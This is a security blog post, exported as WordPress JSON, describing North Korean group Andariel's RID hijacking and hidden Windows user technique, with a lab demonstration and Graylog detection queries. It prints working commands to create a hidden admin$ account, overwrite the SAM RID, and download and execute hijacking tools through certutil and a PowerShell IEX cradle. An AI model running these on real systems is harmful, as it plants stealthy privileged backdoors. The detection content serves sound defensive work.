{"id":103504,"date":"2025-02-24T12:39:59","date_gmt":"2025-02-24T04:39:59","guid":{"rendered":"https:\/\/version-2.com\/?p=103504"},"modified":"2025-02-14T12:41:35","modified_gmt":"2025-02-14T04:41:35","slug":"adversary-tradecraft-a-deep-dive-into-rid-hijacking-and-hidden-users","status":"publish","type":"post","link":"https:\/\/version-2.com\/zh\/2025\/02\/adversary-tradecraft-a-deep-dive-into-rid-hijacking-and-hidden-users\/","title":{"rendered":"Adversary Tradecraft: A Deep Dive into RID Hijacking and Hidden Users"},"content":{"rendered":"\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t\t\t\t\t\n\n
\n\t\t\t

Researchers at AhnLab Security Intelligence Center (ASEC) recently published a report<\/a> on the Andariel threat group, a DPRK state-sponsored APT active for over a decade, that has been leveraging RID hijacking and user account concealment techniques in its operations to stealthily maintain privileged access to compromised Windows systems.<\/p>\n

 <\/p>\n

This blog post explores hands-on how RID hijacking and hidden backdoor accounts work in Andariel\u2019s attack chain, and how Graylog Security<\/a> can be used to detect and analyze similar activity in an organization\u2019s network.<\/p>\n

 <\/p>\n

What is RID Hijacking?<\/strong><\/h2>\n

The RID, or Relative Identifier, uniquely identifies a user in Windows as part of its Security Identifier (SID). When a user logs on, the system retrieves the SID for that user from the local Security Account Manager (SAM) database and places it in the user\u2019s access token to identify it in subsequent interactions. The local Administrator account RID is always 500, and standard user RIDs usually start at 1001.<\/p>\n

\n\n\"\"\n<\/picture>\n<\/p>\n

RID hijacking is a technique discovered by Sebastian Castro<\/a> that involves modifying the RID value of a low-privileged account to match the value of a privileged account such as local Administrator by manipulating the SAM database. As a result, the operating system mistakenly grants elevated privileges to the originally restricted account, allowing the attacker to execute privileged commands as that user.<\/p>\n

This technique is particularly stealthy because the activity in event logs will still be associated with the low-privilege user and there is often less scrutiny applied to standard accounts.<\/p>\n

However, there is a caveat to the technique \u2013 it requires SYSTEM level privileges to access and modify user information in the SAM, which resides in a protected registry key.<\/p>\n

 <\/p>\n

Attack Demonstration<\/strong><\/h2>\n

According to the report from AhnLab, the threat actor\u2019s RID hijacking process consists of the following stages. We\u2019ll use this model as we walk through the attack in a lab environment.<\/p>\n

\n\n\"RID\n<\/picture>\n<\/p>\n

The RID Hijacking attack process referenced from AhnLab<\/p>\n

 <\/strong><\/p>\n

Our lab consists of a Windows 10 Enterprise system with auditing enabled for process execution (command line included), account logon and management, registry, and SAM access. Script block logging is also turned on.<\/p>\n

 <\/p>\n

System, Security, and PowerShell\/Operational event logs are sent via Winlogbeat to a Graylog Enterprise 6.0.1 instance with Illuminate 6.1 installed to enable parsing and enrichment.<\/p>\n

 <\/strong><\/p>\n

Stage 1: SYSTEM Privilege Escalation<\/strong><\/h3>\n

 <\/p>\n

We\u2019ll assume initial access to the Windows system and start off with an elevated admin user. However, in order to access the SAM registry hive, we need SYSTEM. To do this, we can use exploits like JuicyPotato or tools like PsExec, a Microsoft Sysinternals<\/a> tool often abused by adversaries for lateral movement and privilege escalation. We\u2019ll spawn a PowerShell session using PsExec with the -s argument:<\/p>\n

 <\/p>\n

PsExec.exe -s -i powershell.exe<\/code><\/pre>\n
 <\/p>\n
The output of whoami \/user in the shell confirms that we\u2019re now running as SYSTEM.<\/p>\n
 \n\n\"Whoami\n<\/picture>\n<\/strong> <\/strong><\/p>\n
In Graylog, we can see a common indicator of Sysinternals PsExec activity, Event ID 7045 Remote Service Creation with the default service name PSEXESVC. Following the subsequent events (ordered bottom to top) we see our whoami command executed as Local System.<\/p>\n
 \n\n\"Command\n<\/picture>\n<\/strong> <\/strong><\/p>\n
Stage 2: Create User Account<\/strong><\/h3>\n
 <\/p>\n
Having obtained SYSTEM, the adversary proceeded to create a hidden local user account and add it to privileged groups. These are the commands used:<\/p>\n
net user admin$ admin@123 \/add
\nnet localgroup \u201cRemote Desktop Users\u201d \u201cadmin$\u201d \/add
\nnet localgroup \u201cAdministrators\u201d \u201cadmin$\u201d \/add<\/p>\n
 <\/p>\n
The trick to hiding the user here is the $ at the end of the username. It\u2019s an old school technique that imitates computer accounts which are hidden from some user listing options \u2013 note that the newly created user isn\u2019t shown in the output of net user.<\/p>\n
\n\n\"net\n<\/picture>\n<\/p>\n
In Graylog we see the commands as event ID 4688 labeled as \u201cprocess started\u201d, and additional labels for 4720 \u201caccount created\u201d and 4732 \u201cgroup member added\u201d.<\/p>\n
\"ID<\/p>\n
 <\/p>\n
Stage 3: Modify the RID Value in Registry<\/strong><\/h3>\n
 <\/strong><\/p>\n
Before demonstrating the RID hijack, let\u2019s see what the current RID value and permissions are for the user admin$. We\u2019ll open a separate command prompt and spawn a shell as that user using runas:<\/p>\n
runas \/user:admin$ cmd<\/code><\/pre>\n
 <\/p>\n
Then, execute whoami commands in that shell. As shown, the user\u2019s current RID is 1009 and its privileges are limited as expected for a standard user.<\/p>\n
\n\n\"RID\n<\/picture>\n<\/p>\n
Well, as the chefs say, elevate it!<\/p>\n
 <\/p>\n
Back to the PowerShell session as SYSTEM, we can run regedit.exe to open the GUI registry editor in the same privilege context.<\/p>\n
 <\/p>\n
User information is stored in the SAM hive in unique subkeys under:<\/p>\n
HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users<\/code><\/pre>\n
 <\/p>\n
Each subkey corresponds to an account where the key name is the hexadecimal representation of the decimal user RID. The value 1009 for admin$ translates to 0x3F1, so we\u2019re looking at the key 000003F1.<\/p>\n
\n\n\"Hex\n<\/picture>\n<\/p>\n
Within key 000003F1 the actual RID can be found in the value F which contains binary data. As highlighted, the RID value is located at offset 30 and stored in little-endian format.<\/p>\n
\n\n\"SAM\n<\/picture>\n<\/p>\n
To execute the hijack, we need to overwrite this value with the local Administrator RID of 500 (0x1F4) converted to little-endian as shown below.<\/p>\n
\n\n\"Hex\n<\/picture>\n<\/p>\n
 <\/p>\n
 <\/p>\n
With that modification, admin$ should now be given the elevated RID 500 upon logon. If we open a new command prompt as the user and run whoami \/user, we see the new hijacked RID, though the rest of the SID stays unchanged. Running whoami \/priv  shows that the user has been granted admin privileges.<\/p>\n
\n\n\"RID\n<\/picture>\n<\/p>\n
We can hunt in Graylog for activity associated with non-Administrator accounts that have the RID 500 using the following query:<\/p>\n
NOT user_name:administrator AND user_id:\/.*\\-500\/<\/code><\/pre>\n
\n\n\"Administrator\n<\/picture>\n<\/p>\n
This query might result in false positives if the administrator account is renamed. We can further specify it to target both RID hijacking and user accounts mimicking machine names.<\/p>\n
user_name:\/.*\\$\/ AND user_id:\/.*\\-500\/<\/code><\/pre>\n
 <\/p>\n
Custom and Open-source Tooling<\/strong><\/h2>\n
AhnLab Report<\/h3>\n
Manually altering SAM user information in the registry editor is good for demonstration, but it isn\u2019t necessarily what threat actors are doing.<\/p>\n
 <\/p>\n
The AhnLab report details that Andariel utilized two distinct custom tools to automate the RID hijacking attack process. One of the tools named CreateHiddenAccount is open-source and available on GitHub<\/a>.<\/p>\n
 <\/p>\n
AhnLab breaks down the differences between the tools quite well in its report:<\/p>\n
\n\n\"AhnLab\n<\/picture>\n
Differences in tool behavior referenced from AhnLab<\/figcaption><\/figure>\n
 <\/p>\n
 <\/p>\n
CreateHiddenAccount is particularly interesting since it can work without SYSTEM privileges. It still needs access to the SAM registry key, so it employs the Windows CLI program regini to edit the registry through a .ini file. The file contains parameters to open up the SAM registry key access permissions to allow modification with administrator privileges.<\/p>\n
 <\/p>\n
 <\/p>\n
Let\u2019s execute the CreateHiddenAccount tool in a fresh Graylog lab to see what events are produced. First, download the UPX packed variant to the Windows host.<\/p>\n
 <\/p>\n
certutil.exe -urlcache -split -f https:\/\/github.com\/wgpsec\/CreateHiddenAccount\/releases\/download\/0.2\/CreateHiddenAccount_upx_v0.2.exe CreateHiddenAccount_upx_v0.2.exe<\/code><\/pre>\n
 <\/p>\n
The command line arguments require the hidden user to create (the $ is appended automatically) and the target user whose RID will be cloned. Here, we\u2019re again creating the user admin$ and targeting the local admin RID.<\/p>\n
CreateHiddenAccount_upx_v0.2.exe -u admin -p admin@123 -cu Administrator<\/code><\/pre>\n
\n\n\n<\/picture>\n<\/p>\n
 <\/p>\n
The tool produces some interesting events to analyze in Graylog. Directly after execution we see regini.exe being used to modify the access control rules of the SAM registry key.<\/p>\n
\"Regini<\/p>\n
Following that is a flurry of user enumeration events and account creation for admin$. Interestingly, we see the tool deleting the hidden user then silently importing a .reg file using regedit. What\u2019s happening here is that the tool already populated the import file with information from the user registry key before it was deleted, and modified the RID in the file to match Administrator\u2019s. This is an additional step to hide the created user as once the registry key is restored, the user becomes hidden from additional user list interfaces.<\/p>\n
\"Enumeration<\/p>\n
Those with their detection hat on might notice that the filenames are notably unique and static throughout the tool execution. These names are actually hardcoded in the source code, seen in the function below.<\/p>\n
\n\n\"Tool\n<\/picture>\n<\/p>\n
This presents an opportunity to detect CreateHiddenAccount execution via child process command lines where the unique filenames are present. Note though that this is considered a brittle detection \u2013 while it can reliably identify this particular version of CreateHiddenAccount unmodified, it is trivial for the adversary to change these filenames in the source before compiling to an executable.<\/p>\n
 <\/p>\n
Nonetheless, it\u2019s useful in a threat hunt or to detect the vanilla tool. We can use the following query:<\/p>\n
process_command_line:(\/.*N2kvMLEQiiHHNWXFpEg7uaNmcu9ic95j8\\.ini\/ OR \/.*sTRmxJkRFoTFaPRXBeavZhjaAYNvpYko\\.reg\/)<\/code><\/pre>\n
\"Process<\/p>\n
 <\/p>\n
The tool by itself doesn\u2019t do much in the way of behavior obfuscation or sandbox evasion. Querying its hash on VirusTotal returns some damning results<\/a>.<\/p>\n
\n\n\"VirusTotal\"\n<\/picture>\n<\/p>\n
 <\/p>\n
Further Attempts to Hide Users<\/strong><\/h2>\n
 <\/p>\n
In addition to hiding the backdoor user account with a username ending in $, the custom tool used by Andariel attempts to further conceal the account through deletion and registry import operations. We analyzed a similar feature in CreateHiddenAccount, but now we\u2019ll carry out the technique separately and see what can be gleaned from the logs.<\/p>\n
 <\/p>\n
As demonstrated below, we repeat the steps of SYSTEM privilege escalation and hidden user account creation, but this time we run a PowerShell download cradle to fetch and execute in-memory a RID hijacking script from GitHub. This leaves us with the account given administrator privileges without further action to conceal it.<\/p>\n
IEX (New-Object Net.WebClient).DownloadString('https:\/\/raw.githubusercontent.com\/r4wd3r\/RID-Hijacking\/master\/Invoke-RIDHijacking.ps1'); Invoke-RIDHijacking -User 'admin$' -RID 500<\/code><\/pre>\n
\n\n\"Powershell\n<\/picture>\n<\/p>\n
 <\/p>\n
Graylog Illuminate captures the PowerShell script execution and even extracts the SAM registry key path being modified for RID hijacking.<\/p>\n
\"Fake<\/p>\n
Even with the fake computer name, the hidden user still shows up in Computer Management.<\/p>\n
\n\n\"Computer\n<\/picture>\n<\/p>\n
 <\/p>\n
Following along with the Andariel threat group\u2019s tool methods, we run commands to:<\/p>\n
 <\/p>\n
A) Fetch the hidden user\u2019s RID<\/strong><\/p>\n
Get-WmiObject Win32_UserAccount | Where-Object { $_.Name -eq 'admin$' } | Select-Object Name, SID<\/code><\/pre>\n
 <\/p>\n
B) Export the hidden user\u2019s associated registry keys in the SAM hive<\/strong><\/p>\n
reg export hklm\\sam\\sam\\domains\\account\\users\\names\\admin$ names.reg<\/code><\/pre>\n
reg export hklm\\sam\\sam\\domains\\account\\users\\0000XXXX users.reg<\/code><\/pre>\n
 <\/p>\n
C) Delete the user<\/strong><\/p>\n
net user admin$ \/delete<\/code><\/pre>\n
 <\/p>\n
D) Restore the user by importing the registry files containing the user keys information<\/strong><\/p>\n
reg import names.reg<\/code><\/pre>\n
reg import users.reg<\/code><\/pre>\n
 <\/p>\n
By using this method, admin$ is no longer displayed in Computer Management, at least until a system reboot.<\/p>\n
\n\n\"No\n<\/picture>\n<\/p>\n
 <\/p>\n
Every step of the execution can be seen in Graylog.<\/p>\n
\"Attack<\/p>\n
 <\/p>\n
Detections<\/strong><\/h2>\n
 <\/p>\n
We\u2019ve provided Sigma rules below to detect the following aspects of the attack chain:<\/p>\n
 <\/p>\n